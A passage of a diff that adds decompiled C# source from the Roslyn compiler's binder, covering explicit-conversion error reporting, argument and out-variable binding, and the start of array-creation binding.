(originalUserDefinedConversions.Length > 1) + { + diagnostics.Add(ErrorCode.ERR_AmbigUDConv, syntax.Location, originalUserDefinedConversions[0], originalUserDefinedConversions[1], operand.Display, targetType); + } + else + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(Compilation, operand.Type, targetType); + diagnostics.Add(ErrorCode.ERR_NoExplicitConv, syntax.Location, symbolDistinguisher.First, symbolDistinguisher.Second); + } + return; + } + BoundKind kind = operand.Kind; + if (kind <= BoundKind.UnconvertedSwitchExpression) + { + if (kind == BoundKind.UnconvertedAddressOfOperator) + { + TypeKind typeKind = targetType.TypeKind; + ErrorCode errorCode = (((int)typeKind == 3) ? ErrorCode.ERR_CannotConvertAddressOfToDelegate : (((int)typeKind != 13) ? ErrorCode.ERR_AddressOfToNonFunctionPointer : ErrorCode.ERR_MethFuncPtrMismatch)); + ErrorCode code = errorCode; + diagnostics.Add(code, syntax.Location, ((BoundUnconvertedAddressOfOperator)operand).Operand.Name, targetType); + return; + } + if (kind != BoundKind.UnconvertedConditionalOperator) + { + if (kind == BoundKind.UnconvertedSwitchExpression && (object)operand.Type == null) + { + goto IL_02ba; + } + } + else if ((object)operand.Type == null) + { + goto IL_02ba; + } + } + else + { + switch (kind) + { + case BoundKind.MethodGroup: + { + if ((int)targetType.TypeKind != 3 || !MethodGroupConversionDoesNotExistOrHasErrors((BoundMethodGroup)operand, (NamedTypeSymbol)targetType, syntax.Location, diagnostics, out var _)) + { + diagnostics.Add(ErrorCode.ERR_NoExplicitConv, syntax.Location, MessageID.IDS_SK_METHOD.Localize(), targetType); + } + return; + } + case BoundKind.TupleLiteral: + { + BoundTupleLiteral boundTupleLiteral = (BoundTupleLiteral)operand; + ImmutableArray elementTypes = default(ImmutableArray); + if (targetType.TryGetElementTypesWithAnnotationsIfTupleType(out elementTypes) && elementTypes.Length == boundTupleLiteral.Arguments.Length) + { + GenerateExplicitConversionErrorsForTupleLiteralArguments(diagnostics, boundTupleLiteral.Arguments, elementTypes); + return; + } + if ((object)boundTupleLiteral.Type == null) + { + Error(diagnostics, ErrorCode.ERR_ConversionNotTupleCompatible, SyntaxNodeOrToken.op_Implicit(syntax), boundTupleLiteral.Arguments.Length, targetType); + return; + } + break; + } + case BoundKind.StackAllocArrayCreation: + { + BoundStackAllocArrayCreation boundStackAllocArrayCreation = (BoundStackAllocArrayCreation)operand; + Error(diagnostics, ErrorCode.ERR_StackAllocConversionNotPossible, SyntaxNodeOrToken.op_Implicit(syntax), boundStackAllocArrayCreation.ElementType, targetType); + return; + } + case BoundKind.UnconvertedCollectionExpression: + if ((object)operand.Type == null) + { + Error(diagnostics, ErrorCode.ERR_CollectionExpressionTargetTypeNotConstructible, SyntaxNodeOrToken.op_Implicit(syntax), targetType); + return; + } + break; + } + } + SymbolDistinguisher symbolDistinguisher2 = new SymbolDistinguisher(Compilation, operand.Type, targetType); + diagnostics.Add(ErrorCode.ERR_NoExplicitConv, syntax.Location, symbolDistinguisher2.First, symbolDistinguisher2.Second); + } + return; + IL_02ba: + GenerateImplicitConversionError(diagnostics, operand.Syntax, conversion, operand, targetType); + } + + private void GenerateExplicitConversionErrorsForTupleLiteralArguments(BindingDiagnosticBag diagnostics, ImmutableArray tupleArguments, ImmutableArray targetElementTypesWithAnnotations) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + for (int i = 0; i < targetElementTypesWithAnnotations.Length; i++) + { + BoundExpression boundExpression = tupleArguments[i]; + TypeSymbol type = targetElementTypesWithAnnotations[i].Type; + Conversion conversion = Conversions.ClassifyConversionFromExpression(boundExpression, type, CheckOverflowAtRuntime, ref useSiteInfo); + if (!conversion.IsValid) + { + GenerateExplicitConversionErrors(diagnostics, boundExpression.Syntax, conversion, boundExpression, type); + } + } + } + + private BoundExpression BindExplicitNullableCastFromNonNullable(ExpressionSyntax node, BoundExpression operand, TypeWithAnnotations targetTypeWithAnnotations, BindingDiagnosticBag diagnostics) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + TypeWithAnnotations nullableUnderlyingTypeWithAnnotations = targetTypeWithAnnotations.Type.GetNullableUnderlyingTypeWithAnnotations(); + if (!Conversions.ClassifyBuiltInConversion(operand.Type, nullableUnderlyingTypeWithAnnotations.Type, CheckOverflowAtRuntime, ref useSiteInfo).Exists) + { + return BindCastCore(node, operand, targetTypeWithAnnotations, operand.WasCompilerGenerated, diagnostics); + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + try + { + BoundExpression boundExpression = BindCastCore(node, operand, nullableUnderlyingTypeWithAnnotations, wasCompilerGenerated: false, instance); + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + if (boundExpression.ConstantValueOpt != (ConstantValue)null && !boundExpression.HasErrors && !((BindingDiagnosticBag)instance).HasAnyErrors()) + { + boundExpression.WasCompilerGenerated = true; + ((BindingDiagnosticBag)(object)diagnostics).AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + return BindCastCore(node, boundExpression, targetTypeWithAnnotations, operand.WasCompilerGenerated, diagnostics); + } + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(diagnostics); + BoundExpression result = BindCastCore(node, operand, targetTypeWithAnnotations, operand.WasCompilerGenerated, instance2); + if (((BindingDiagnosticBag)instance2).AccumulatesDiagnostics && ((BindingDiagnosticBag)instance).HasAnyErrors() && !((BindingDiagnosticBag)instance2).HasAnyErrors()) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + } + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance2, false); + ((BindingDiagnosticBag)(object)instance2).Free(); + return result; + } + finally + { + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + + private static NameSyntax GetNameSyntax(SyntaxNode syntax) + { + string nameString; + return GetNameSyntax(syntax, out nameString); + } + + internal static NameSyntax GetNameSyntax(SyntaxNode syntax, out string nameString) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + nameString = string.Empty; + while (true) + { + switch (syntax.Kind()) + { + case SyntaxKind.PredefinedType: + { + SyntaxToken keyword = ((PredefinedTypeSyntax)(object)syntax).Keyword; + nameString = ((SyntaxToken)(ref keyword)).ValueText; + return null; + } + case SyntaxKind.SimpleLambdaExpression: + nameString = MessageID.IDS_Lambda.Localize().ToString(); + return null; + case SyntaxKind.ParenthesizedExpression: + syntax = (SyntaxNode)(object)((ParenthesizedExpressionSyntax)(object)syntax).Expression; + break; + case SyntaxKind.CastExpression: + syntax = (SyntaxNode)(object)((CastExpressionSyntax)(object)syntax).Expression; + break; + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + return ((MemberAccessExpressionSyntax)(object)syntax).Name; + case SyntaxKind.MemberBindingExpression: + return ((MemberBindingExpressionSyntax)(object)syntax).Name; + default: + return syntax as NameSyntax; + } + } + } + + private static string GetName(ExpressionSyntax syntax) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + string nameString; + NameSyntax nameSyntax = GetNameSyntax((SyntaxNode)(object)syntax, out nameString); + if (nameSyntax != null) + { + SyntaxToken identifier = nameSyntax.GetUnqualifiedName().Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + } + return nameString; + } + + private void BindArgumentsAndNames(BaseArgumentListSyntax argumentListOpt, BindingDiagnosticBag diagnostics, AnalyzedArguments result, bool allowArglist = false, bool isDelegateCreation = false) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (argumentListOpt != null) + { + bool hadError = false; + bool hadLangVersionError = false; + Enumerator enumerator = argumentListOpt.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArgumentSyntax current = enumerator.Current; + BindArgumentAndName(result, diagnostics, ref hadError, ref hadLangVersionError, current, allowArglist, isDelegateCreation); + } + } + } + + private bool RefMustBeObeyed(bool isDelegateCreation, ArgumentSyntax argumentSyntax) + { + if (Compilation.FeatureStrictEnabled || !isDelegateCreation) + { + return true; + } + switch (argumentSyntax.Expression.Kind()) + { + case SyntaxKind.ParenthesizedExpression: + case SyntaxKind.InvocationExpression: + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + case SyntaxKind.ObjectCreationExpression: + case SyntaxKind.ImplicitObjectCreationExpression: + case SyntaxKind.DeclarationExpression: + return true; + default: + return false; + } + } + + private void BindArgumentAndName(AnalyzedArguments result, BindingDiagnosticBag diagnostics, ref bool hadError, ref bool hadLangVersionError, ArgumentSyntax argumentSyntax, bool allowArglist, bool isDelegateCreation) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Invalid comparison between Unknown and I4 + RefKind refKind = argumentSyntax.RefOrOutKeyword.Kind().GetRefKind(); + RefKind refKind2 = (RefKind)(((int)refKind == 0 || RefMustBeObeyed(isDelegateCreation, argumentSyntax)) ? ((int)refKind) : 0); + BoundExpression boundArgumentExpression = BindArgumentValue(diagnostics, argumentSyntax, allowArglist, refKind2); + BindArgumentAndName(result, diagnostics, ref hadLangVersionError, argumentSyntax, boundArgumentExpression, argumentSyntax.NameColon, refKind2); + if (!hadError && isDelegateCreation && (int)refKind != 0 && result.Arguments.Count == 1) + { + BoundExpression boundExpression = result.Argument(0); + BoundKind kind = boundExpression.Kind; + if (kind == BoundKind.PropertyAccess || kind == BoundKind.IndexerAccess) + { + BindValueKind valueKind = (((int)refKind == 3) ? BindValueKind.ReadonlyRef : BindValueKind.RefOrOut); + hadError = !CheckValueKind((SyntaxNode)(object)argumentSyntax, boundExpression, valueKind, checkingReceiver: false, diagnostics); + return; + } + } + if (argumentSyntax.RefOrOutKeyword.Kind() != SyntaxKind.None) + { + argumentSyntax.Expression.CheckDeconstructionCompatibleArgument(diagnostics); + } + } + + private BoundExpression BindArgumentValue(BindingDiagnosticBag diagnostics, ArgumentSyntax argumentSyntax, bool allowArglist, RefKind refKind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (argumentSyntax.RefKindKeyword.IsKind(SyntaxKind.InKeyword)) + { + MessageID.IDS_FeatureReadOnlyReferences.CheckFeatureAvailability(diagnostics, argumentSyntax.RefKindKeyword); + } + if (argumentSyntax.Expression.Kind() == SyntaxKind.DeclarationExpression) + { + if (argumentSyntax.RefKindKeyword.IsKind(SyntaxKind.OutKeyword)) + { + MessageID.IDS_FeatureOutVar.CheckFeatureAvailability(diagnostics, argumentSyntax.RefKindKeyword); + } + DeclarationExpressionSyntax declarationExpressionSyntax = (DeclarationExpressionSyntax)argumentSyntax.Expression; + if (declarationExpressionSyntax.IsOutDeclaration()) + { + return BindOutDeclarationArgument(declarationExpressionSyntax, diagnostics); + } + } + return BindArgumentExpression(diagnostics, argumentSyntax.Expression, refKind, allowArglist); + } + + private BoundExpression BindOutDeclarationArgument(DeclarationExpressionSyntax declarationExpression, BindingDiagnosticBag diagnostics) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + TypeSyntax type = declarationExpression.Type; + VariableDesignationSyntax designation = declarationExpression.Designation; + switch (designation.Kind()) + { + case SyntaxKind.DiscardDesignation: + { + if (type is ScopedTypeSyntax scopedTypeSyntax) + { + SyntaxToken scopedKeyword = scopedTypeSyntax.ScopedKeyword; + diagnostics.Add(ErrorCode.ERR_ScopedDiscard, ((SyntaxToken)(ref scopedKeyword)).GetLocation()); + type = scopedTypeSyntax.Type; + } + if (type is RefTypeSyntax refTypeSyntax) + { + diagnostics.Add(ErrorCode.ERR_OutVariableCannotBeByRef, ((SyntaxNode)refTypeSyntax).Location); + type = refTypeSyntax.Type; + } + bool isConst = false; + bool isVar; + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = BindVariableTypeWithAnnotations(designation, diagnostics, type, ref isConst, out isVar, out alias); + TypeSymbol type2 = typeWithAnnotations.Type; + return new BoundDiscardExpression((SyntaxNode)(object)declarationExpression, typeWithAnnotations.NullableAnnotation, (object)type2 == null, type2); + } + case SyntaxKind.SingleVariableDesignation: + return BindOutVariableDeclarationArgument(declarationExpression, diagnostics); + default: + throw ExceptionUtilities.UnexpectedValue((object)designation.Kind()); + } + } + + private BoundExpression BindOutVariableDeclarationArgument(DeclarationExpressionSyntax declarationExpression, BindingDiagnosticBag diagnostics) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_01a6: Unknown result type (might be due to invalid IL or missing references) + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_01be: Unknown result type (might be due to invalid IL or missing references) + //IL_01c3: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Invalid comparison between Unknown and I4 + SingleVariableDesignationSyntax singleVariableDesignationSyntax = (SingleVariableDesignationSyntax)declarationExpression.Designation; + TypeSyntax type = declarationExpression.Type; + SourceLocalSymbol sourceLocalSymbol = LookupLocal(singleVariableDesignationSyntax.Identifier); + bool isVar; + if ((object)sourceLocalSymbol != null) + { + if (type is ScopedTypeSyntax scopedTypeSyntax) + { + ModifierUtils.CheckScopedModifierAvailability(type, scopedTypeSyntax.ScopedKeyword, diagnostics); + type = scopedTypeSyntax.Type; + } + if (type is RefTypeSyntax refTypeSyntax) + { + diagnostics.Add(ErrorCode.ERR_OutVariableCannotBeByRef, ((SyntaxNode)refTypeSyntax).Location); + type = refTypeSyntax.Type; + } + if ((InConstructorInitializer || InFieldInitializer) && (int)ContainingMemberOrLambda.ContainingSymbol.Kind == 11) + { + CheckFeatureAvailability((SyntaxNode)(object)declarationExpression, MessageID.IDS_FeatureExpressionVariablesInQueriesAndInitializers, diagnostics); + } + bool isConst = false; + AliasSymbol alias; + TypeWithAnnotations typeWithAnnotations = BindVariableTypeWithAnnotations(declarationExpression, diagnostics, type, ref isConst, out isVar, out alias); + sourceLocalSymbol.ScopeBinder.ValidateDeclarationNameConflictsInScope(sourceLocalSymbol, diagnostics); + if (isVar) + { + return new OutVariablePendingInference((SyntaxNode)(object)declarationExpression, sourceLocalSymbol, null); + } + CheckRestrictedTypeInAsyncMethod(ContainingMemberOrLambda, typeWithAnnotations.Type, diagnostics, (SyntaxNode)(object)type); + if ((int)sourceLocalSymbol.Scope == 2 && !typeWithAnnotations.Type.IsErrorTypeOrRefLikeType()) + { + diagnostics.Add(ErrorCode.ERR_ScopedRefAndRefStructOnly, ((SyntaxNode)type).Location); + } + return new BoundLocal((SyntaxNode)(object)declarationExpression, sourceLocalSymbol, BoundLocalDeclarationKind.WithExplicitType, null, isNullableUnknown: false, typeWithAnnotations.Type); + } + GlobalExpressionVariable globalExpressionVariable = LookupDeclaredField(singleVariableDesignationSyntax); + if ((object)globalExpressionVariable == null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Expressions.cs", 3136); + } + BoundExpression boundExpression = SynthesizeReceiver((SyntaxNode)(object)singleVariableDesignationSyntax, globalExpressionVariable, diagnostics); + SyntaxToken val; + if (type is ScopedTypeSyntax scopedTypeSyntax2) + { + val = scopedTypeSyntax2.ScopedKeyword; + Location location = ((SyntaxToken)(ref val)).GetLocation(); + object[] array = new object[1]; + val = scopedTypeSyntax2.ScopedKeyword; + array[0] = ((SyntaxToken)(ref val)).ValueText; + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, location, array); + type = scopedTypeSyntax2.Type; + } + if (type is RefTypeSyntax refTypeSyntax2) + { + val = refTypeSyntax2.RefKeyword; + Location location2 = ((SyntaxToken)(ref val)).GetLocation(); + object[] array2 = new object[1]; + val = refTypeSyntax2.RefKeyword; + array2[0] = ((SyntaxToken)(ref val)).ValueText; + diagnostics.Add(ErrorCode.ERR_UnexpectedToken, location2, array2); + type = refTypeSyntax2.Type; + } + if (type.IsVar) + { + BindTypeOrAliasOrVarKeyword(type, BindingDiagnosticBag.Discarded, out isVar); + if (isVar) + { + return new OutVariablePendingInference((SyntaxNode)(object)declarationExpression, globalExpressionVariable, boundExpression); + } + } + TypeSymbol type2 = globalExpressionVariable.GetFieldType(FieldsBeingBound).Type; + return new BoundFieldAccess((SyntaxNode)(object)declarationExpression, boundExpression, globalExpressionVariable, null, LookupResultKind.Viable, isDeclaration: true, type2); + } + + internal static void CheckRestrictedTypeInAsyncMethod(Symbol containingSymbol, TypeSymbol type, BindingDiagnosticBag diagnostics, SyntaxNode syntax, bool forUsingExpression = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if ((int)containingSymbol.Kind == 9 && ((MethodSymbol)containingSymbol).IsAsync && type.IsRestrictedType()) + { + Error(diagnostics, forUsingExpression ? ErrorCode.ERR_BadSpecialByRefUsing : ErrorCode.ERR_BadSpecialByRefLocal, SyntaxNodeOrToken.op_Implicit(syntax), type); + } + } + + internal GlobalExpressionVariable LookupDeclaredField(SingleVariableDesignationSyntax variableDesignator) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = variableDesignator.Identifier; + return LookupDeclaredField((SyntaxNode)(object)variableDesignator, ((SyntaxToken)(ref identifier)).ValueText); + } + + internal GlobalExpressionVariable LookupDeclaredField(SyntaxNode node, string identifier) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = (ContainingType?.GetMembers(identifier) ?? ImmutableArray.Empty).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + GlobalExpressionVariable globalExpressionVariable; + if ((int)current.Kind == 6 && (globalExpressionVariable = current as GlobalExpressionVariable)?.SyntaxTree == node.SyntaxTree && (object)globalExpressionVariable.SyntaxNode == node) + { + return globalExpressionVariable; + } + } + return null; + } + + private void BindArgumentAndName(AnalyzedArguments result, BindingDiagnosticBag diagnostics, ref bool hadLangVersionError, CSharpSyntaxNode argumentSyntax, BoundExpression boundArgumentExpression, NameColonSyntax nameColonSyntax, RefKind refKind) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (nameColonSyntax != null) + { + CheckFeatureAvailability((SyntaxNode)(object)nameColonSyntax, MessageID.IDS_FeatureNamedArgument, diagnostics); + } + bool flag = result.RefKinds.Any(); + if ((int)refKind != 0 && !flag) + { + flag = true; + int count = result.Arguments.Count; + for (int i = 0; i < count; i++) + { + result.RefKinds.Add((RefKind)0); + } + } + if (flag) + { + result.RefKinds.Add(refKind); + } + bool flag2 = result.Names.Any(); + if (nameColonSyntax != null) + { + if (!flag2) + { + flag2 = true; + int count2 = result.Arguments.Count; + for (int j = 0; j < count2; j++) + { + result.Names.Add(((string, Location)?)null); + } + } + result.AddName(nameColonSyntax.Name); + } + else if (flag2) + { + if (!hadLangVersionError && !Compilation.LanguageVersion.AllowNonTrailingNamedArguments()) + { + Error(diagnostics, ErrorCode.ERR_NamedArgumentSpecificationBeforeFixedArgument, argumentSyntax, new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureNonTrailingNamedArguments.RequiredVersion())); + hadLangVersionError = true; + } + result.Names.Add(((string, Location)?)null); + } + result.Arguments.Add(boundArgumentExpression); + } + + private BoundExpression BindArgumentExpression(BindingDiagnosticBag diagnostics, ExpressionSyntax argumentExpression, RefKind refKind, bool allowArglist) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Invalid comparison between Unknown and I4 + BindValueKind valueKind = (((int)refKind == 0) ? BindValueKind.RValue : (((int)refKind == 3) ? BindValueKind.ReadonlyRef : BindValueKind.RefOrOut)); + if (allowArglist) + { + return BindValueAllowArgList(argumentExpression, diagnostics, valueKind); + } + return BindValue(argumentExpression, diagnostics, valueKind); + } + + private void CheckAndCoerceArguments(MemberResolutionResult methodResult, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics, BoundExpression? receiver, bool invokedAsExtensionMethod) where TMember : Symbol + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Invalid comparison between Unknown and I4 + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Invalid comparison between Unknown and I4 + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Invalid comparison between Unknown and I4 + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Invalid comparison between Unknown and I4 + MemberAnalysisResult result = methodResult.Result; + ArrayBuilder arguments = analyzedArguments.Arguments; + ImmutableArray parameters = methodResult.LeastOverriddenMember.GetParameters(); + for (int i = 0; i < arguments.Count; i++) + { + Conversion conversion = result.ConversionForArg(i); + BoundExpression boundExpression = arguments[i]; + if (!(boundExpression is BoundArgListOperator) && !boundExpression.HasAnyErrors) + { + RefKind val = analyzedArguments.RefKind(i); + if (!Compilation.IsFeatureEnabled(MessageID.IDS_FeatureRefReadonlyParameters)) + { + bool flag = (((int)val == 0 || (int)val == 3) ? true : false); + if (flag && (int)GetCorrespondingParameter(ref result, parameters, i).RefKind == 4) + { + CheckFeatureAvailability(boundExpression.Syntax, MessageID.IDS_FeatureRefReadonlyParameters, diagnostics); + } + } + else + { + int num = (invokedAsExtensionMethod ? i : (i + 1)); + if ((int)val == 1) + { + if ((int)GetCorrespondingParameter(ref result, parameters, i).RefKind == 3) + { + diagnostics.Add(ErrorCode.WRN_BadArgRef, boundExpression.Syntax, num); + } + } + else if ((int)val == 0 && (int)GetCorrespondingParameter(ref result, parameters, i).RefKind == 4) + { + if (!CheckValueKind(boundExpression.Syntax, boundExpression, BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + diagnostics.Add(ErrorCode.WRN_RefReadonlyNotVariable, boundExpression.Syntax, num); + } + else if (!invokedAsExtensionMethod || i != 0) + { + if (CheckValueKind(boundExpression.Syntax, boundExpression, BindValueKind.Assignable, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + diagnostics.Add(ErrorCode.WRN_ArgExpectedRefOrIn, boundExpression.Syntax, num); + } + else + { + diagnostics.Add(ErrorCode.WRN_ArgExpectedIn, boundExpression.Syntax, num); + } + } + } + } + } + if (conversion.IsInterpolatedStringHandler) + { + TypeWithAnnotations correspondingParameterTypeWithAnnotations = GetCorrespondingParameterTypeWithAnnotations(ref result, parameters, i); + reportUnsafeIfNeeded(methodResult, diagnostics, boundExpression, correspondingParameterTypeWithAnnotations); + arguments[i] = BindInterpolatedStringHandlerInMemberCall(boundExpression, arguments, parameters, ref result, i, receiver, diagnostics); + } + else if (!conversion.IsIdentity) + { + TypeWithAnnotations correspondingParameterTypeWithAnnotations2 = GetCorrespondingParameterTypeWithAnnotations(ref result, parameters, i); + reportUnsafeIfNeeded(methodResult, diagnostics, boundExpression, correspondingParameterTypeWithAnnotations2); + arguments[i] = CreateConversion(boundExpression.Syntax, boundExpression, conversion, isCast: false, null, correspondingParameterTypeWithAnnotations2.Type, diagnostics); + } + else if (boundExpression.Kind == BoundKind.OutVariablePendingInference) + { + TypeWithAnnotations correspondingParameterTypeWithAnnotations3 = GetCorrespondingParameterTypeWithAnnotations(ref result, parameters, i); + arguments[i] = ((OutVariablePendingInference)boundExpression).SetInferredTypeWithAnnotations(correspondingParameterTypeWithAnnotations3, diagnostics); + } + else if (boundExpression.Kind == BoundKind.OutDeconstructVarPendingInference) + { + TypeWithAnnotations correspondingParameterTypeWithAnnotations4 = GetCorrespondingParameterTypeWithAnnotations(ref result, parameters, i); + arguments[i] = ((OutDeconstructVarPendingInference)boundExpression).SetInferredTypeWithAnnotations(correspondingParameterTypeWithAnnotations4, success: true); + } + else if (boundExpression.Kind == BoundKind.DiscardExpression && !boundExpression.HasExpressionType()) + { + TypeWithAnnotations correspondingParameterTypeWithAnnotations5 = GetCorrespondingParameterTypeWithAnnotations(ref result, parameters, i); + arguments[i] = ((BoundDiscardExpression)boundExpression).SetInferredTypeWithAnnotations(correspondingParameterTypeWithAnnotations5); + } + else if (boundExpression.NeedsToBeConverted()) + { + if (boundExpression is BoundTupleLiteral) + { + TypeWithAnnotations correspondingParameterTypeWithAnnotations6 = GetCorrespondingParameterTypeWithAnnotations(ref result, parameters, i); + arguments[i] = CreateConversion(boundExpression.Syntax, boundExpression, conversion, isCast: false, null, correspondingParameterTypeWithAnnotations6.Type, diagnostics); + } + else + { + arguments[i] = BindToNaturalType(boundExpression, diagnostics); + } + } + } + void reportUnsafeIfNeeded(MemberResolutionResult memberResolutionResult, BindingDiagnosticBag diagnostics2, BoundExpression argument, TypeWithAnnotations parameterTypeWithAnnotations) + { + if (!memberResolutionResult.Member.IsIndexer() && !argument.HasAnyErrors && parameterTypeWithAnnotations.Type.ContainsPointer()) + { + ReportUnsafeIfNotAllowed(argument.Syntax, diagnostics2); + } + } + } + + private static ParameterSymbol GetCorrespondingParameter(ref MemberAnalysisResult result, ImmutableArray parameters, int arg) + { + int index = result.ParameterFromArgument(arg); + return parameters[index]; + } + + private static TypeWithAnnotations GetCorrespondingParameterTypeWithAnnotations(ref MemberAnalysisResult result, ImmutableArray parameters, int arg) + { + int num = result.ParameterFromArgument(arg); + TypeWithAnnotations result2 = parameters[num].TypeWithAnnotations; + if (num == parameters.Length - 1 && result.Kind == MemberResolutionKind.ApplicableInExpandedForm) + { + result2 = ((ArrayTypeSymbol)result2.Type).ElementTypeWithAnnotations; + } + return result2; + } + + private BoundExpression BindArrayCreationExpression(ArrayCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + ArrayTypeSymbol type = (ArrayTypeSymbol)BindArrayType(node.Type, diagnostics, permitDimensions: true, null, disallowRestrictedTypes: true).Type; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = node.Type.RankSpecifiers[0]; + bool hasErrors = false; + Enumerator enumerator = arrayRankSpecifierSyntax.Sizes.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + BoundExpression boundExpression = BindArrayDimension(current, diagnostics, ref hasErrors); + if (boundExpression != null) + { + instance.Add(boundExpression); + } + else if (node.Initializer == null && current == arrayRankSpecifierSyntax.Sizes[0]) + { + Error(diagnostics, 